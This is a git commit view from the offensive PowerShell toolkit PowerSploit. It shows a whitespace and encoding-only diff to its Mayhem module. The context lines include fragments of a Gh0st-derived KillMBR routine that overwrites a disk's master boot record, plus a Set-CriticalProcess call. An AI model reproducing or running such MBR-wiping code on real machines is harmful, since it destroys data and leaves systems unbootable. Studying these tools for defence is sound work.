diff options
author | PowerShellMafia <PowerShellMafia@users.noreply.github.com> | 2015-12-18 16:33:59 -0800 |
---|---|---|
committer | PowerShellMafia <PowerShellMafia@users.noreply.github.com> | 2015-12-18 16:33:59 -0800 |
commit | 9e771d15bf19ab3c2ac196393c088ecdab6c9a73 (patch) | |
tree | 58927893ecb9289ad1de64d3a67eb58d00e4b762 /Mayhem/Mayhem.psm1 | |
parent | 9f78286ea7b0ec65d2aa09893a076864dd8d14e9 (diff) | |
parent | 9f183e36518176c4299eed5c68b7deac7f4e8025 (diff) | |
download | PowerSploit-3.0.0.tar.gz PowerSploit-3.0.0.zip |
Merge pull request #102 from PowerShellMafia/devv3.0.0
Merge 3.0 release changes
Diffstat (limited to 'Mayhem/Mayhem.psm1')
-rw-r--r-- | Mayhem/Mayhem.psm1 | 8 |
1 files changed, 4 insertions, 4 deletions
diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0b4f843..0baaf3e 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,4 @@ -function Set-MasterBootRecord +function Set-MasterBootRecord { <# .SYNOPSIS @@ -57,7 +57,7 @@ int CGh0stApp::KillMBR() DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; - // 重新构造MBR + // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; @@ -85,7 +85,7 @@ int CGh0stApp::KillMBR() &dwBytesReturned, NULL ); - // 写入病毒内容 + // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( @@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose { Stop-Process -Id $PID } -}
\ No newline at end of file +} |